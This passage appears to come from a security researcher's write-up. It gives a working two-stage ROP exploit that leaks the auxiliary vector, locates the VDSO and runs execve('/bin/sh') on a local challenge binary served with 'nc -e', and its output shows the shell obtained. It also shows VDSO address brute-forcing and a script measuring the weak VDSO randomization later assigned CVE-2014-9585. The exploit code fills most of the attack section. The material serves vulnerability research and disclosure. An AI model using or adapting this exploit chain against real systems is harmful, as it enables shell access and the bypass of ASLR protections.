soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# stage ONE
payload  = struct.pack("<Q", 0x0068732f6e69622f) # /bin/sh - we will use this during stage TWO
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += struct.pack("<Q", 0x400098)   # syscall to sys_write depending on RAX
payload += struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", 0x400082)   # ret to sys_read
payload += chr(0xa)
soc.send(payload)
time.sleep(2.0)

# write single byte to setup RAX for sys_write
soc.send(chr(0xa))
time.sleep(2.0)

# read the information leaked which contains Auxillary Vector
ENV_AUX_VEC = soc.recv(1024)

QWORD_LIST = []
for i in range(0, len(ENV_AUX_VEC), 8):
    QWORD_LIST.append(struct.unpack("<Q", ENV_AUX_VEC[i:i+8])[0])

start_aux_vec = QWORD_LIST.index(AT_SYSINFO_EHDR) # first entry in vector table
AUX_VEC_ENTRIES = QWORD_LIST[start_aux_vec: start_aux_vec + (18 * 2)] # size of auxillary table
AUX_VEC_ENTRIES = dict(AUX_VEC_ENTRIES[i:i+2] for i in range(0, len(AUX_VEC_ENTRIES), 2))

vdso_address = AUX_VEC_ENTRIES[AT_SYSINFO_EHDR]
print "[*] Base address of VDSO : %s" % hex(vdso_address)

offset = 0x2b9
random_address = AUX_VEC_ENTRIES[AT_RANDOM]
buffer_address = random_address - 0x2b9
print "[*] Buffer address in stack : %s" % hex(buffer_address)  

# stage TWO

offset_xor_edx = 0x7b0 # xor edx,edx; mov QWORD PTR [rsi+0x8],rax; add rdi,rdx; test r12d,r12d; mov QWORD PTR [rsi],rdi; jne addr; nop DWORD PTR [rax+0x0]; movsxd rdi,r15d; mov eax,0xe4; syscall; add rsp,0x28; pop rbx; pop  r12; pop r13; pop r14; pop  r15; pop rbp; ret
offset_pop_rsi = 0x7dc # pop rsi; pop r15; pop rbp; ret
offset_pop_rdi = 0x7de # pop rdi; pop rbp; ret
offset_add_eax = 0x600 # add eax, dword [rbx] ; retn 0x0005
offset_eax_val = 0x672 # 0x3b for sys_execve
syscall = 0x400098

payload  = struct.pack("<Q", 0x4141414141414141) # PAD
payload += struct.pack("<Q", vdso_address + offset_xor_edx)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_eax_val)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_add_eax) # this will unalign the stack by 5 bytes
payload += struct.pack("<Q", vdso_address + offset_pop_rdi)
payload += chr(0x00)    # PAD
payload += struct.pack("<I", 0x00000000) # PAD
payload += struct.pack("<Q", buffer_address)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", vdso_address + offset_pop_rsi)
payload += struct.pack("<Q", 0x0000000000000000)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", 0x4343434343434343)
payload += struct.pack("<Q", syscall)  # execve("/bin/sh", 0, 0)
payload += chr(0xa)
soc.send(payload)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
[renorobert@localhost aux_vec]$ nc -vvv -e ./chall -l -p 3335
Listening on any address 3335 (directv-soft)
Connection from 127.0.0.1:39658
Passing control to the specified program

[renorobert@localhost aux_vec]$ python sploit_aux_vec.py 
[*] Base address of VDSO : 0x7fff25ded000
[*] Buffer address in stack : 0x7fff25cba1c0
id
uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
VDSO would change across versions, so availability of gadgets may also differ.

VDSO Address Bruteforce

Also, VDSO address is not very random. One can brute force its base address even in 64 bit.
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffac97e000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe2d38000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fffe0de7000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff43926000)
[renorobert@localhost aux_vec]$ ldd /bin/ls
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ while true; do ldd /bin/ls; done | grep 0x00007fff009fe000
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)
 linux-vdso.so.1 =>  (0x00007fff009fe000)

[renorobert@localhost aux_vec]$ uname -r
3.11.10-301.fc20.x86_64
Update - CVE-2014-9585

The VDSO entropy issue is assigned CVE-2014-9585. New patch improves ASLR from 11 quality bits to 18 quality bits as per paxtest. Further information below

Bug 89591 - VDSO randomization not very random
oss-sec discussion

Below is the code to show biased bits
#!/usr/bin/env python

import subprocess
import re

bentropy = {}
size = 64
for _ in range(size): 
    bentropy[_] = {0:0, 1:0}
NSAMPLE = 500
print "[*] Sampling %d addresses" %(NSAMPLE)

def get_vdso_address(NSAMPLE):
    for _ in range(NSAMPLE):
        l = subprocess.check_output(["ldd", "/bin/ls"])
        vdso_entry = l.split(chr(0xa))[0]
        vdso_address = re.search("0x([A-Fa-f\d]{16})", vdso_entry)
        vdso_address = vdso_address.groups()[0]
        vdso_address = int(vdso_address, 16)
        yield vdso_address

for address in get_vdso_address(NSAMPLE):
    for index in range(size):
        bit = (address >> index) & 1
        key = size - index - 1
        bentropy[key][bit] += 1

probable_address = 0x0

for key, value in bentropy.items():
    if value[0] > value[1]:
        probable_address = (probable_address << 1)
    else:
        probable_address = (probable_address << 1) | 1
    print "%02d ['0':%05d, '1':%05d]" %(key, value[0], value[1])

print "[*] Probable address to use : %s" % hex(probable_address)
renorobert@ubuntu:~/vdso$ python vdso.py 
[*] Sampling 500 addresses
00 ['0':00500, '1':00000]
01 ['0':00500, '1':00000]
02 ['0':00500, '1':00000]
03 ['0':00500, '1':00000]
04 ['0':00500, '1':00000]
05 ['0':00500, '1':00000]
06 ['0':00500, '1':00000]
07 ['0':00500, '1':00000]
08 ['0':00500, '1':00000]
09 ['0':00500, '1':00000]
10 ['0':00500, '1':00000]
11 ['0':00500, '1':00000]
12 ['0':00500, '1':00000]
13 ['0':00500, '1':00000]
14 ['0':00500, '1':00000]
15 ['0':00500, '1':00000]
16 ['0':00500, '1':00000]
17 ['0':00000, '1':00500]
18 ['0':00000, '1':00500]
19 ['0':00000, '1':00500]
20 ['0':00000, '1':00500]
21 ['0':00000, '1':00500]
22 ['0':00000, '1':00500]
23 ['0':00000, '1':00500]
24 ['0':00002, '1':00498]
25 ['0':00000, '1':00500]
26 ['0':00004, '1':00496]
27 ['0':00003, '1':00497]
28 ['0':00003, '1':00497]
29 ['0':00003, '1':00497]
30 ['0':00005, '1':00495]
31 ['0':00005, '1':00495]
32 ['0':00266, '1':00234]
33 ['0':00241, '1':00259]
34 ['0':00250, '1':00250]
35 ['0':00274, '1':00226]
36 ['0':00228, '1':00272]
37 ['0':00264, '1':00236]
38 ['0':00249, '1':00251]
39 ['0':00266, '1':00234]
40 ['0':00238, '1':00262]
41 ['0':00259, '1':00241]
42 ['0':00260, '1':00240]
43 ['0':00060, '1':00440]
44 ['0':00091, '1':00409]
45 ['0':00100, '1':00400]
46 ['0':00121, '1':00379]
47 ['0':00123, '1':00377]
48 ['0':00118, '1':00382]
49 ['0':00128, '1':00372]
50 ['0':00126, '1':00374]
51 ['0':00371, '1':00129]
52 ['0':00500, '1':00000]
53 ['0':00500, '1':00000]
54 ['0':00500, '1':00000]
55 ['0':00500, '1':00000]
56 ['0':00500, '1':00000]
57 ['0':00500, '1':00000]
58 ['0':00500, '1':00000]
59 ['0':00500, '1':00000]
60 ['0':00500, '1':00000]
61 ['0':00500, '1':00000]
62 ['0':00500, '1':00000]
63 ['0':00500, '1':00000]
[*] Probable address to use : 0x7fff6a9fe000
Only bits 32 to 42 [11 bits] are properly randomized and rest are biased leading to bruteforce